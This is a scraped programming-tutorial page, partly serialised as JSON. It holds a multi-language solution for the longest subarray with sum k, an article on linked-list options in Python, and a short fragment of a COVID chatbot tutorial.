"Our chatbot will predict the answers based on the model we train. Here we will use the neural networks to build the model. The goal of our network will be to look at a bag of words and give a class that they belong too (one of our tags from the JSON file)." }, { "code": null, "e": 6511, "s": 5847, "text": "Input: What is coronavirus?\nOutput: COVID-19 is an infectious disease caused by the most recently discovered coronavirus. This new virus and disease were unknown before the outbreak began in Wuhan, China, in December 2019.\n\nInput: What are the symptoms of COVID 19?\nOutput: The most common symptoms of COVID-19 are fever, tiredness, and dry cough. Some patients may have aches and pains, nasal congestion, runny nose, sore throat, or diarrhoea. These symptoms are usually mild and begin gradually. Some people become infected but don’t develop any symptoms and don't feel unwell. Most people (about 80%) recover from the disease without needing special treatment." }, { "code": null, "e": 6528, "s": 6513, "text": "varshagumber28" }, { "code": null, "e": 6537, "s": 6528, "text": "rkbhola5" }, { "code": null, "e": 6554, "s": 6537, "text": "harshmaster07705" }, { "code": null, "e": 6570, "s": 6554, "text": "Python-projects" }, { "code": null, "e": 6585, "s": 6570, "text": "python-utility" }, { "code": null, "e": 6593, "s": 6585, "text": "Project" }, { "code": null, "e": 6600, "s": 6593, "text": "Python" } ]
Longest sub-array having sum k
25 May, 2022 Given an array arr[] of size n containing integers. The problem is to find the length of the longest sub-array having sum equal to the given value k.Examples: Input : arr[] = { 10, 5, 2, 7, 1, 9 }, k = 15 Output : 4 The sub-array is {5, 2, 7, 1}. Input : arr[] = {-5, 8, -14, 2, 4, 12}, k = -5 Output : 5 Naive Approach: Consider the sum of all the sub-arrays and return the length of the longest sub-array having sum ‘k’. Time Complexity is of O(n^2).Efficient Approach: Following are the steps: Initialize sum = 0 and maxLen = 0.Create a hash table having (sum, index) tuples.For i = 0 to n-1, perform the following steps:Accumulate arr[i] to sum.If sum == k, update maxLen = i+1.Check whether sum is present in the hash table or not. If not present, then add it to the hash table as (sum, i) pair.Check if (sum-k) is present in the hash table or not. If present, then obtain index of (sum-k) from the hash table as index. Now check if maxLen < (i-index), then update maxLen = (i-index).Return maxLen. Initialize sum = 0 and maxLen = 0. Create a hash table having (sum, index) tuples. For i = 0 to n-1, perform the following steps:Accumulate arr[i] to sum.If sum == k, update maxLen = i+1.Check whether sum is present in the hash table or not. If not present, then add it to the hash table as (sum, i) pair.Check if (sum-k) is present in the hash table or not. If present, then obtain index of (sum-k) from the hash table as index. Now check if maxLen < (i-index), then update maxLen = (i-index). Accumulate arr[i] to sum.If sum == k, update maxLen = i+1.Check whether sum is present in the hash table or not. If not present, then add it to the hash table as (sum, i) pair.Check if (sum-k) is present in the hash table or not. If present, then obtain index of (sum-k) from the hash table as index. Now check if maxLen < (i-index), then update maxLen = (i-index). Accumulate arr[i] to sum. If sum == k, update maxLen = i+1. Check whether sum is present in the hash table or not. If not present, then add it to the hash table as (sum, i) pair. Check if (sum-k) is present in the hash table or not. If present, then obtain index of (sum-k) from the hash table as index. Now check if maxLen < (i-index), then update maxLen = (i-index). Return maxLen. C++ Java Python3 C# Javascript // C++ implementation to find the length// of longest subarray having sum k#include <bits/stdc++.h>using namespace std; // function to find the length of longest// subarray having sum kint lenOfLongSubarr(int arr[], int n, int k){ // unordered_map 'um' implemented // as hash table unordered_map<int, int> um; int sum = 0, maxLen = 0; // traverse the given array for (int i = 0; i < n; i++) { // accumulate sum sum += arr[i]; // when subarray starts from index '0' if (sum == k) maxLen = i + 1; // make an entry for 'sum' if it is // not present in 'um' if (um.find(sum) == um.end()) um[sum] = i; // check if 'sum-k' is present in 'um' // or not if (um.find(sum - k) != um.end()) { // update maxLength if (maxLen < (i - um[sum - k])) maxLen = i - um[sum - k]; } } // required maximum length return maxLen;} // Driver Codeint main(){ int arr[] = {10, 5, 2, 7, 1, 9}; int n = sizeof(arr) / sizeof(arr[0]); int k = 15; cout << "Length = " << lenOfLongSubarr(arr, n, k); return 0;} // Java implementation to find the length// of longest subarray having sum kimport java.io.*;import java.util.*; class GFG { // function to find the length of longest // subarray having sum k static int lenOfLongSubarr(int[] arr, int n, int k) { // HashMap to store (sum, index) tuples HashMap<Integer, Integer> map = new HashMap<>(); int sum = 0, maxLen = 0; // traverse the given array for (int i = 0; i < n; i++) { // accumulate sum sum += arr[i]; // when subarray starts from index '0' if (sum == k) maxLen = i + 1; // make an entry for 'sum' if it is // not present in 'map' if (!map.containsKey(sum)) { map.put(sum, i); } // check if 'sum-k' is present in 'map' // or not if (map.containsKey(sum - k)) { // update maxLength if (maxLen < (i - map.get(sum - k))) maxLen = i - map.get(sum - k); } } return maxLen; } // Driver code public static void main(String args[]) { int[] arr = {10, 5, 2, 7, 1, 9}; int n = arr.length; int k = 15; System.out.println("Length = " + lenOfLongSubarr(arr, n, k)); }} // This code is contributed by rachana soma # Python3 implementation to find the length# of longest subArray having sum k # function to find the longest# subarray having sum kdef lenOfLongSubarr(arr, n, k): # dictionary mydict implemented # as hash map mydict = dict() # Initialize sum and maxLen with 0 sum = 0 maxLen = 0 # traverse the given array for i in range(n): # accumulate the sum sum += arr[i] # when subArray starts from index '0' if (sum == k): maxLen = i + 1 # check if 'sum-k' is present in # mydict or not elif (sum - k) in mydict: maxLen = max(maxLen, i - mydict[sum - k]) # if sum is not present in dictionary # push it in the dictionary with its index if sum not in mydict: mydict[sum] = i return maxLen # Driver Codeif __name__ == '__main__': arr = [10, 5, 2, 7, 1, 9] n = len(arr) k = 15 print("Length =", lenOfLongSubarr(arr, n, k)) # This code is contributed by# chaudhary_19 (Mayank Chaudhary) // C# implementation to find the length// of longest subarray having sum kusing System;using System.Collections.Generic; class GFG{ // function to find the length of longest// subarray having sum kstatic int lenOfLongSubarr(int[] arr, int n, int k){ // HashMap to store (sum, index) tuples Dictionary<int, int> map = new Dictionary<int, int>(); int sum = 0, maxLen = 0; // traverse the given array for (int i = 0; i < n; i++) { // accumulate sum sum += arr[i]; // when subarray starts from index '0' if (sum == k) maxLen = i + 1; // make an entry for 'sum' if it is // not present in 'map' if (!map.ContainsKey(sum)) { map.Add(sum, i); } // check if 'sum-k' is present in 'map' // or not if (map.ContainsKey(sum - k)) { // update maxLength if (maxLen < (i - map[sum - k])) maxLen = i - map[sum - k]; } } return maxLen; } // Driver codepublic static void Main(){ int[] arr = {10, 5, 2, 7, 1, 9}; int n = arr.Length; int k = 15; Console.WriteLine("Length = " + lenOfLongSubarr(arr, n, k));}} // This code is contributed by PrinciRaj1992 <script> // JavaScript implementation to find the length// of longest subarray having sum k // function to find the length of longest// subarray having sum kfunction lenOfLongSubarr(arr, n, k){ // unordered_map 'um' implemented // as hash table var um = new Map(); var sum = 0, maxLen = 0; // traverse the given array for (var i = 0; i < n; i++) { // accumulate sum sum += arr[i]; // when subarray starts from index '0' if (sum == k) maxLen = i + 1; // make an entry for 'sum' if it is // not present in 'um' if (!um.has(sum)) um.set(sum, i); // check if 'sum-k' is present in 'um' // or not if (um.has(sum - k)) { // update maxLength if (maxLen < (i - um.get(sum - k))) maxLen = i - um.get(sum - k); } } // required maximum length return maxLen;} // Driver Codevar arr = [10, 5, 2, 7, 1, 9];var n = arr.length;var k = 15;document.write( "Length = " + lenOfLongSubarr(arr, n, k)); </script> Length = 4 Time Complexity: O(n). Auxiliary Space: O(n). Another Approach This approach won’t work for negative numbers The approach is to use the concept of the variable-size sliding window using 2 pointers Initialize i, j and sum = k .If the sum is less than k just increment j, if the sum is equal to k compute the max and if the sum is greater than k subtract ith element while the sum is less than k. C++ Java Python3 Javascript // C++ implementation to find the length// of longest subarray having sum k#include <bits/stdc++.h>using namespace std; // function to find the length of longest// subarray having sum kint lenOfLongSubarr(int A[], int N, int K){ int i = 0, j = 0, sum = 0; int maxLen = INT_MIN; while (j < N) { sum += A[j]; if (sum < K) { j++; } else if (sum == K) { maxLen = max(maxLen, j-i+1); j++; } else if (sum > K) { while (sum > K) { sum -= A[i]; i++; } if(sum == K){ maxLen = max(maxLen, j-i+1); } j++; } } return maxLen;} // Driver Codeint main(){ int arr[] = { 10, 5, 2, 7, 1, 9 }; int n = sizeof(arr) / sizeof(arr[0]); int k = 15; cout << "Length = " << lenOfLongSubarr(arr, n, k); return 0;} /*package whatever //do not write package name here */ import java.io.*; class GFG { // Java implementation to find the length // of longest subarray having sum k // function to find the length of longest // subarray having sum k static int lenOfLongSubarr(int A[], int N, int K) { int i = 0, j = 0, sum = 0; int maxLen = Integer.MIN_VALUE; while (j < N) { sum += A[j]; if (sum < K) { j++; } else if (sum == K) { maxLen = Math.max(maxLen, j-i+1); j++; } else if (sum > K) { while (sum > K) { sum -= A[i]; i++; } if(sum == K){ maxLen = Math.max(maxLen, j-i+1); } j++; } } return maxLen; } // Driver code public static void main(String args[]) { int arr[] = { 10, 5, 2, 7, 1, 9 }; int n = arr.length; int k = 15; System.out.printf("Length = %d",lenOfLongSubarr(arr, n, k)); }} // This code is contributed by shinjanpatra. # Python implementation to find the length# of longest subarray having sum k # function to find the length of longest# subarray having sum kimport sys def lenOfLongSubarr(A, N, K): i, j, sum = 0, 0, 0 maxLen = -sys.maxsize -1 while (j < N): sum += A[j] if (sum < K): j += 1 elif (sum == K): maxLen = max(maxLen, j - i + 1) j += 1 elif (sum > K): while (sum > K): sum -= A[i] i += 1 if (sum == K): maxLen = max(maxLen, j - i + 1) j += 1 return maxLen # Driver Codearr = [ 10, 5, 2, 7, 1, 9 ]n = len(arr)k = 15print("Length = "+ str(lenOfLongSubarr(arr, n, k))) # This code is contributed by shinjanpatra <script> // JavaScript implementation to find the length// of longest subarray having sum k // function to find the length of longest// subarray having sum kfunction lenOfLongSubarr(A, N, K){ let i = 0, j = 0, sum = 0; let maxLen = Number.MIN_VALUE; while (j < N) { sum += A[j]; if (sum < K) { j++; } else if (sum == K) { maxLen = Math.max(maxLen, j-i+1); j++; } else if (sum > K) { while (sum > K) { sum -= A[i]; i++; } if(sum == K){ maxLen = Math.max(maxLen, j-i+1); } j++; } } return maxLen;} // Driver Code let arr = [ 10, 5, 2, 7, 1, 9 ]let n = arr.lengthlet k = 15document.write("Length = ",lenOfLongSubarr(arr, n, k)) // This code is contributed by shinjanpatra </script> Length = 4 Time Complexity: O(n). Auxiliary Space: O(1). rachana soma princiraj1992 chaudhary_19 itsok simmytarika5 sagar0719kumar prasanna1995 chauhanaditya2411 shinjanpatra 82900z24071 Amazon Arrays Hash Amazon Arrays Hash Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 52, "s": 24, "text": "\n25 May, 2022" }, { "code": null, "e": 213, "s": 52, "text": "Given an array arr[] of size n containing integers. The problem is to find the length of the longest sub-array having sum equal to the given value k.Examples: " }, { "code": null, "e": 385, "s": 213, "text": "Input : arr[] = { 10, 5, 2, 7, 1, 9 }, \n k = 15\nOutput : 4\nThe sub-array is {5, 2, 7, 1}.\n\nInput : arr[] = {-5, 8, -14, 2, 4, 12},\n k = -5\nOutput : 5" }, { "code": null, "e": 580, "s": 387, "text": "Naive Approach: Consider the sum of all the sub-arrays and return the length of the longest sub-array having sum ‘k’. Time Complexity is of O(n^2).Efficient Approach: Following are the steps: " }, { "code": null, "e": 1087, "s": 580, "text": "Initialize sum = 0 and maxLen = 0.Create a hash table having (sum, index) tuples.For i = 0 to n-1, perform the following steps:Accumulate arr[i] to sum.If sum == k, update maxLen = i+1.Check whether sum is present in the hash table or not. If not present, then add it to the hash table as (sum, i) pair.Check if (sum-k) is present in the hash table or not. If present, then obtain index of (sum-k) from the hash table as index. Now check if maxLen < (i-index), then update maxLen = (i-index).Return maxLen." }, { "code": null, "e": 1122, "s": 1087, "text": "Initialize sum = 0 and maxLen = 0." }, { "code": null, "e": 1170, "s": 1122, "text": "Create a hash table having (sum, index) tuples." }, { "code": null, "e": 1582, "s": 1170, "text": "For i = 0 to n-1, perform the following steps:Accumulate arr[i] to sum.If sum == k, update maxLen = i+1.Check whether sum is present in the hash table or not. If not present, then add it to the hash table as (sum, i) pair.Check if (sum-k) is present in the hash table or not. If present, then obtain index of (sum-k) from the hash table as index. Now check if maxLen < (i-index), then update maxLen = (i-index)." }, { "code": null, "e": 1948, "s": 1582, "text": "Accumulate arr[i] to sum.If sum == k, update maxLen = i+1.Check whether sum is present in the hash table or not. If not present, then add it to the hash table as (sum, i) pair.Check if (sum-k) is present in the hash table or not. If present, then obtain index of (sum-k) from the hash table as index. Now check if maxLen < (i-index), then update maxLen = (i-index)." }, { "code": null, "e": 1974, "s": 1948, "text": "Accumulate arr[i] to sum." }, { "code": null, "e": 2008, "s": 1974, "text": "If sum == k, update maxLen = i+1." }, { "code": null, "e": 2127, "s": 2008, "text": "Check whether sum is present in the hash table or not. If not present, then add it to the hash table as (sum, i) pair." }, { "code": null, "e": 2317, "s": 2127, "text": "Check if (sum-k) is present in the hash table or not. If present, then obtain index of (sum-k) from the hash table as index. Now check if maxLen < (i-index), then update maxLen = (i-index)." }, { "code": null, "e": 2332, "s": 2317, "text": "Return maxLen." }, { "code": null, "e": 2338, "s": 2334, "text": "C++" }, { "code": null, "e": 2343, "s": 2338, "text": "Java" }, { "code": null, "e": 2351, "s": 2343, "text": "Python3" }, { "code": null, "e": 2354, "s": 2351, "text": "C#" }, { "code": null, "e": 2365, "s": 2354, "text": "Javascript" }, { "code": "// C++ implementation to find the length// of longest subarray having sum k#include <bits/stdc++.h>using namespace std; // function to find the length of longest// subarray having sum kint lenOfLongSubarr(int arr[], int n, int k){ // unordered_map 'um' implemented // as hash table unordered_map<int, int> um; int sum = 0, maxLen = 0; // traverse the given array for (int i = 0; i < n; i++) { // accumulate sum sum += arr[i]; // when subarray starts from index '0' if (sum == k) maxLen = i + 1; // make an entry for 'sum' if it is // not present in 'um' if (um.find(sum) == um.end()) um[sum] = i; // check if 'sum-k' is present in 'um' // or not if (um.find(sum - k) != um.end()) { // update maxLength if (maxLen < (i - um[sum - k])) maxLen = i - um[sum - k]; } } // required maximum length return maxLen;} // Driver Codeint main(){ int arr[] = {10, 5, 2, 7, 1, 9}; int n = sizeof(arr) / sizeof(arr[0]); int k = 15; cout << \"Length = \" << lenOfLongSubarr(arr, n, k); return 0;}", "e": 3575, "s": 2365, "text": null }, { "code": "// Java implementation to find the length// of longest subarray having sum kimport java.io.*;import java.util.*; class GFG { // function to find the length of longest // subarray having sum k static int lenOfLongSubarr(int[] arr, int n, int k) { // HashMap to store (sum, index) tuples HashMap<Integer, Integer> map = new HashMap<>(); int sum = 0, maxLen = 0; // traverse the given array for (int i = 0; i < n; i++) { // accumulate sum sum += arr[i]; // when subarray starts from index '0' if (sum == k) maxLen = i + 1; // make an entry for 'sum' if it is // not present in 'map' if (!map.containsKey(sum)) { map.put(sum, i); } // check if 'sum-k' is present in 'map' // or not if (map.containsKey(sum - k)) { // update maxLength if (maxLen < (i - map.get(sum - k))) maxLen = i - map.get(sum - k); } } return maxLen; } // Driver code public static void main(String args[]) { int[] arr = {10, 5, 2, 7, 1, 9}; int n = arr.length; int k = 15; System.out.println(\"Length = \" + lenOfLongSubarr(arr, n, k)); }} // This code is contributed by rachana soma", "e": 5233, "s": 3575, "text": null }, { "code": "# Python3 implementation to find the length# of longest subArray having sum k # function to find the longest# subarray having sum kdef lenOfLongSubarr(arr, n, k): # dictionary mydict implemented # as hash map mydict = dict() # Initialize sum and maxLen with 0 sum = 0 maxLen = 0 # traverse the given array for i in range(n): # accumulate the sum sum += arr[i] # when subArray starts from index '0' if (sum == k): maxLen = i + 1 # check if 'sum-k' is present in # mydict or not elif (sum - k) in mydict: maxLen = max(maxLen, i - mydict[sum - k]) # if sum is not present in dictionary # push it in the dictionary with its index if sum not in mydict: mydict[sum] = i return maxLen # Driver Codeif __name__ == '__main__': arr = [10, 5, 2, 7, 1, 9] n = len(arr) k = 15 print(\"Length =\", lenOfLongSubarr(arr, n, k)) # This code is contributed by# chaudhary_19 (Mayank Chaudhary)", "e": 6256, "s": 5233, "text": null }, { "code": "// C# implementation to find the length// of longest subarray having sum kusing System;using System.Collections.Generic; class GFG{ // function to find the length of longest// subarray having sum kstatic int lenOfLongSubarr(int[] arr, int n, int k){ // HashMap to store (sum, index) tuples Dictionary<int, int> map = new Dictionary<int, int>(); int sum = 0, maxLen = 0; // traverse the given array for (int i = 0; i < n; i++) { // accumulate sum sum += arr[i]; // when subarray starts from index '0' if (sum == k) maxLen = i + 1; // make an entry for 'sum' if it is // not present in 'map' if (!map.ContainsKey(sum)) { map.Add(sum, i); } // check if 'sum-k' is present in 'map' // or not if (map.ContainsKey(sum - k)) { // update maxLength if (maxLen < (i - map[sum - k])) maxLen = i - map[sum - k]; } } return maxLen; } // Driver codepublic static void Main(){ int[] arr = {10, 5, 2, 7, 1, 9}; int n = arr.Length; int k = 15; Console.WriteLine(\"Length = \" + lenOfLongSubarr(arr, n, k));}} // This code is contributed by PrinciRaj1992", "e": 7636, "s": 6256, "text": null }, { "code": "<script> // JavaScript implementation to find the length// of longest subarray having sum k // function to find the length of longest// subarray having sum kfunction lenOfLongSubarr(arr, n, k){ // unordered_map 'um' implemented // as hash table var um = new Map(); var sum = 0, maxLen = 0; // traverse the given array for (var i = 0; i < n; i++) { // accumulate sum sum += arr[i]; // when subarray starts from index '0' if (sum == k) maxLen = i + 1; // make an entry for 'sum' if it is // not present in 'um' if (!um.has(sum)) um.set(sum, i); // check if 'sum-k' is present in 'um' // or not if (um.has(sum - k)) { // update maxLength if (maxLen < (i - um.get(sum - k))) maxLen = i - um.get(sum - k); } } // required maximum length return maxLen;} // Driver Codevar arr = [10, 5, 2, 7, 1, 9];var n = arr.length;var k = 15;document.write( \"Length = \" + lenOfLongSubarr(arr, n, k)); </script>", "e": 8703, "s": 7636, "text": null }, { "code": null, "e": 8714, "s": 8703, "text": "Length = 4" }, { "code": null, "e": 8760, "s": 8714, "text": "Time Complexity: O(n). Auxiliary Space: O(n)." }, { "code": null, "e": 8777, "s": 8760, "text": "Another Approach" }, { "code": null, "e": 8823, "s": 8777, "text": "This approach won’t work for negative numbers" }, { "code": null, "e": 8911, "s": 8823, "text": "The approach is to use the concept of the variable-size sliding window using 2 pointers" }, { "code": null, "e": 9025, "s": 8911, "text": "Initialize i, j and sum = k .If the sum is less than k just increment j, if the sum is equal to k compute the max" }, { "code": null, "e": 9109, "s": 9025, "text": "and if the sum is greater than k subtract ith element while the sum is less than k." }, { "code": null, "e": 9113, "s": 9109, "text": "C++" }, { "code": null, "e": 9118, "s": 9113, "text": "Java" }, { "code": null, "e": 9126, "s": 9118, "text": "Python3" }, { "code": null, "e": 9137, "s": 9126, "text": "Javascript" }, { "code": "// C++ implementation to find the length// of longest subarray having sum k#include <bits/stdc++.h>using namespace std; // function to find the length of longest// subarray having sum kint lenOfLongSubarr(int A[], int N, int K){ int i = 0, j = 0, sum = 0; int maxLen = INT_MIN; while (j < N) { sum += A[j]; if (sum < K) { j++; } else if (sum == K) { maxLen = max(maxLen, j-i+1); j++; } else if (sum > K) { while (sum > K) { sum -= A[i]; i++; } if(sum == K){ maxLen = max(maxLen, j-i+1); } j++; } } return maxLen;} // Driver Codeint main(){ int arr[] = { 10, 5, 2, 7, 1, 9 }; int n = sizeof(arr) / sizeof(arr[0]); int k = 15; cout << \"Length = \" << lenOfLongSubarr(arr, n, k); return 0;}", "e": 10041, "s": 9137, "text": null }, { "code": "/*package whatever //do not write package name here */ import java.io.*; class GFG { // Java implementation to find the length // of longest subarray having sum k // function to find the length of longest // subarray having sum k static int lenOfLongSubarr(int A[], int N, int K) { int i = 0, j = 0, sum = 0; int maxLen = Integer.MIN_VALUE; while (j < N) { sum += A[j]; if (sum < K) { j++; } else if (sum == K) { maxLen = Math.max(maxLen, j-i+1); j++; } else if (sum > K) { while (sum > K) { sum -= A[i]; i++; } if(sum == K){ maxLen = Math.max(maxLen, j-i+1); } j++; } } return maxLen; } // Driver code public static void main(String args[]) { int arr[] = { 10, 5, 2, 7, 1, 9 }; int n = arr.length; int k = 15; System.out.printf(\"Length = %d\",lenOfLongSubarr(arr, n, k)); }} // This code is contributed by shinjanpatra.", "e": 11023, "s": 10041, "text": null }, { "code": "# Python implementation to find the length# of longest subarray having sum k # function to find the length of longest# subarray having sum kimport sys def lenOfLongSubarr(A, N, K): i, j, sum = 0, 0, 0 maxLen = -sys.maxsize -1 while (j < N): sum += A[j] if (sum < K): j += 1 elif (sum == K): maxLen = max(maxLen, j - i + 1) j += 1 elif (sum > K): while (sum > K): sum -= A[i] i += 1 if (sum == K): maxLen = max(maxLen, j - i + 1) j += 1 return maxLen # Driver Codearr = [ 10, 5, 2, 7, 1, 9 ]n = len(arr)k = 15print(\"Length = \"+ str(lenOfLongSubarr(arr, n, k))) # This code is contributed by shinjanpatra", "e": 11783, "s": 11023, "text": null }, { "code": "<script> // JavaScript implementation to find the length// of longest subarray having sum k // function to find the length of longest// subarray having sum kfunction lenOfLongSubarr(A, N, K){ let i = 0, j = 0, sum = 0; let maxLen = Number.MIN_VALUE; while (j < N) { sum += A[j]; if (sum < K) { j++; } else if (sum == K) { maxLen = Math.max(maxLen, j-i+1); j++; } else if (sum > K) { while (sum > K) { sum -= A[i]; i++; } if(sum == K){ maxLen = Math.max(maxLen, j-i+1); } j++; } } return maxLen;} // Driver Code let arr = [ 10, 5, 2, 7, 1, 9 ]let n = arr.lengthlet k = 15document.write(\"Length = \",lenOfLongSubarr(arr, n, k)) // This code is contributed by shinjanpatra </script>", "e": 12664, "s": 11783, "text": null }, { "code": null, "e": 12675, "s": 12664, "text": "Length = 4" }, { "code": null, "e": 12699, "s": 12675, "text": "Time Complexity: O(n). " }, { "code": null, "e": 12722, "s": 12699, "text": "Auxiliary Space: O(1)." }, { "code": null, "e": 12737, "s": 12724, "text": "rachana soma" }, { "code": null, "e": 12751, "s": 12737, "text": "princiraj1992" }, { "code": null, "e": 12764, "s": 12751, "text": "chaudhary_19" }, { "code": null, "e": 12770, "s": 12764, "text": "itsok" }, { "code": null, "e": 12783, "s": 12770, "text": "simmytarika5" }, { "code": null, "e": 12798, "s": 12783, "text": "sagar0719kumar" }, { "code": null, "e": 12811, "s": 12798, "text": "prasanna1995" }, { "code": null, "e": 12829, "s": 12811, "text": "chauhanaditya2411" }, { "code": null, "e": 12842, "s": 12829, "text": "shinjanpatra" }, { "code": null, "e": 12854, "s": 12842, "text": "82900z24071" }, { "code": null, "e": 12861, "s": 12854, "text": "Amazon" }, { "code": null, "e": 12868, "s": 12861, "text": "Arrays" }, { "code": null, "e": 12873, "s": 12868, "text": "Hash" }, { "code": null, "e": 12880, "s": 12873, "text": "Amazon" }, { "code": null, "e": 12887, "s": 12880, "text": "Arrays" }, { "code": null, "e": 12892, "s": 12887, "text": "Hash" } ]
Python Library for Linked List
06 Jul, 2022 Linked list is a simple data structure in programming, which obviously is used to store data and retrieve it accordingly. To make it easier to imagine, it is more like a dynamic array in which data elements are linked via pointers (i.e. the present record points to its next record and the next one points to the record that comes after it, this goes on until the end of the structure) rather than being tightly packed. There are two types of linked list: Single-Linked List: In this, the nodes point to the node immediately after itDoubly Linked List: In this, the nodes not only reference the node next to it but also the node before it. Single-Linked List: In this, the nodes point to the node immediately after it Doubly Linked List: In this, the nodes not only reference the node next to it but also the node before it. To start with Python, it does not have a linked list library built into it like the classical programming languages. Python does have an inbuilt type list that works as a dynamic array but its operation shouldn’t be confused with a typical function of a linked list. This doesn’t mean one cannot implement a linked list in Python, they can but it will not be straight up. The following methods can be used to implement a linked list in Python since it does not have an inbuilt library for it: Method 1: Using deque() package.This is an inbuilt class in Python, obviously used for dequeue but can be implemented in such a way that it works like a linked list under certain conditions. Below is the implementation of the linked list: Python3 # importing moduleimport collections # initialising a deque() of arbitrary lengthlinked_lst = collections.deque() # filling deque() with elementslinked_lst.append('first')linked_lst.append('second')linked_lst.append('third') print("elements in the linked_list:")print(linked_lst) # adding element at an arbitrary positionlinked_lst.insert(1, 'fourth') print("elements in the linked_list:")print(linked_lst) # deleting the last elementlinked_lst.pop() print("elements in the linked_list:")print(linked_lst) # removing a specific elementlinked_lst.remove('fourth') print("elements in the linked_list:")print(linked_lst) Output: elements in the linked_list: deque(['first', 'second', 'third']) elements in the linked_list: deque(['first', 'fourth', 'second', 'third']) elements in the linked_list: deque(['first', 'fourth', 'second']) elements in the linked_list: deque(['first', 'second']) When to use deque() as a linked list? Inserting and deleting elements at front and back respectively is the only need. Inserting and removing elements from the middle becomes time-consuming. In-place reversal since Python now allows elements to be reversed in the place itself. Storage is preferred over performance and not all elements get a separate node of their own Method 2: Using llist package. The llist is an extension module for CPython providing basic linked list data structures. The type is given below command in your command line: pip install llist Below is the implementation of the linked list: Python3 # importing packagesimport llistfrom llist import sllist,sllistnode # creating a singly linked listlst = sllist(['first','second','third'])print(lst)print(lst.first)print(lst.last)print(lst.size)print() # adding and inserting valueslst.append('fourth')node = lst.nodeat(2) lst.insertafter('fifth',node) print(lst)print(lst.first)print(lst.last)print(lst.size)print() # popping a value#i.e. removing the last entry # of the listlst.pop()print(lst)print(lst.first)print(lst.last)print(lst.size)print() # removing a specific elementnode = lst.nodeat(1)lst.remove(node)print(lst)print(lst.first)print(lst.last)print(lst.size)print() Output: sllist([first, second, third]) sllistnode(first) sllistnode(third) 3 sllist([first, second, third, fifth, fourth]) sllistnode(first) sllistnode(fourth) 5 sllist([first, second, third, fifth]) sllistnode(first) sllistnode(fifth) 4 sllist([first, third, fifth]) sllistnode(first) sllistnode(fifth) 3 Method 3: Using StructLinks package StructLinks is used to easily Access and visualize different Data structures including Linked lists, Doubly Linked lists, Binary trees, Graphs, Stacks, and Queues. The structlinks.LinkedList and structlinks.DoublyLikedList modules could be used to make linked lists. All the operations that could be performed with a list could also be performed with structlinks.LinkedList class. Click to go to the documentation Type the command in your command line: pip install structlinks Below is the implementation of some methods of the linked list: Python3 import structlinksfrom structlinks import LinkedList # create an empty linked listlst = LinkedList() # create a linked list with initial valueslst = LinkedList([1, 10.0, 'string']) print(lst) print() print('Elements of list:') # elements of the listelement0 = lst[0]element1 = lst[1]element2 = lst[2] print(f'first element : {element0}')print(f'second element : {element1 }')print(f'third element : {element2}') print() print('Length of list:') # Length of the listlength = len(lst) print(f'size of the list : {length}') print() print('Set item:') # Set itemlst[0] = 10 print(f'list after setting lst[0] to 10 : {lst}') print() print('Append And Insert:') # Append And Insertlst.append('another string')lst.insert(1, 0.0) print(f'list after appending and inserting: {lst}') print() print('Pop and Remove') # Pop and Remove element = lst.pop(0)lst.remove(10.0) print(f'list after popping and removing : {lst}')print(f'pop function also returns the element : {element}') # This code is contributed by eeshannarula29 Output: [1 -> 10.0 -> string] Elements of list: 1 10.0 string Length of list: 3 Set item: list after setting lst[0] to 10 : [10 -> 10.0 -> string] Append and Insert: list after appending and inserting: [10 -> 0.0 -> 10 -> string -> another string] Pop and Remove: list after popping and removing: [0.0 -> string -> another string] eeshannarula29 clintra sweetyty sumitgumber28 surinderdawra388 Linked Lists Python DSA-exercises Python LinkedList-exercises Python-Data-Structures python-modules Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Python Dictionary Different ways to create Pandas Dataframe Enumerate() in Python How to Install PIP on Windows ? Python String | replace() *args and **kwargs in Python Python Classes and Objects Python OOPs Concepts Introduction To PYTHON Python | os.path.join() method
[ { "code": null, "e": 28, "s": 0, "text": "\n06 Jul, 2022" }, { "code": null, "e": 448, "s": 28, "text": "Linked list is a simple data structure in programming, which obviously is used to store data and retrieve it accordingly. To make it easier to imagine, it is more like a dynamic array in which data elements are linked via pointers (i.e. the present record points to its next record and the next one points to the record that comes after it, this goes on until the end of the structure) rather than being tightly packed." }, { "code": null, "e": 484, "s": 448, "text": "There are two types of linked list:" }, { "code": null, "e": 668, "s": 484, "text": "Single-Linked List: In this, the nodes point to the node immediately after itDoubly Linked List: In this, the nodes not only reference the node next to it but also the node before it." }, { "code": null, "e": 746, "s": 668, "text": "Single-Linked List: In this, the nodes point to the node immediately after it" }, { "code": null, "e": 853, "s": 746, "text": "Doubly Linked List: In this, the nodes not only reference the node next to it but also the node before it." }, { "code": null, "e": 1346, "s": 853, "text": "To start with Python, it does not have a linked list library built into it like the classical programming languages. Python does have an inbuilt type list that works as a dynamic array but its operation shouldn’t be confused with a typical function of a linked list. This doesn’t mean one cannot implement a linked list in Python, they can but it will not be straight up. The following methods can be used to implement a linked list in Python since it does not have an inbuilt library for it:" }, { "code": null, "e": 1538, "s": 1346, "text": "Method 1: Using deque() package.This is an inbuilt class in Python, obviously used for dequeue but can be implemented in such a way that it works like a linked list under certain conditions. " }, { "code": null, "e": 1586, "s": 1538, "text": "Below is the implementation of the linked list:" }, { "code": null, "e": 1594, "s": 1586, "text": "Python3" }, { "code": "# importing moduleimport collections # initialising a deque() of arbitrary lengthlinked_lst = collections.deque() # filling deque() with elementslinked_lst.append('first')linked_lst.append('second')linked_lst.append('third') print(\"elements in the linked_list:\")print(linked_lst) # adding element at an arbitrary positionlinked_lst.insert(1, 'fourth') print(\"elements in the linked_list:\")print(linked_lst) # deleting the last elementlinked_lst.pop() print(\"elements in the linked_list:\")print(linked_lst) # removing a specific elementlinked_lst.remove('fourth') print(\"elements in the linked_list:\")print(linked_lst)", "e": 2221, "s": 1594, "text": null }, { "code": null, "e": 2230, "s": 2221, "text": " Output:" }, { "code": null, "e": 2492, "s": 2230, "text": "elements in the linked_list:\ndeque(['first', 'second', 'third'])\nelements in the linked_list:\ndeque(['first', 'fourth', 'second', 'third'])\nelements in the linked_list:\ndeque(['first', 'fourth', 'second'])\nelements in the linked_list:\ndeque(['first', 'second'])" }, { "code": null, "e": 2530, "s": 2492, "text": "When to use deque() as a linked list?" }, { "code": null, "e": 2683, "s": 2530, "text": "Inserting and deleting elements at front and back respectively is the only need. Inserting and removing elements from the middle becomes time-consuming." }, { "code": null, "e": 2770, "s": 2683, "text": "In-place reversal since Python now allows elements to be reversed in the place itself." }, { "code": null, "e": 2862, "s": 2770, "text": 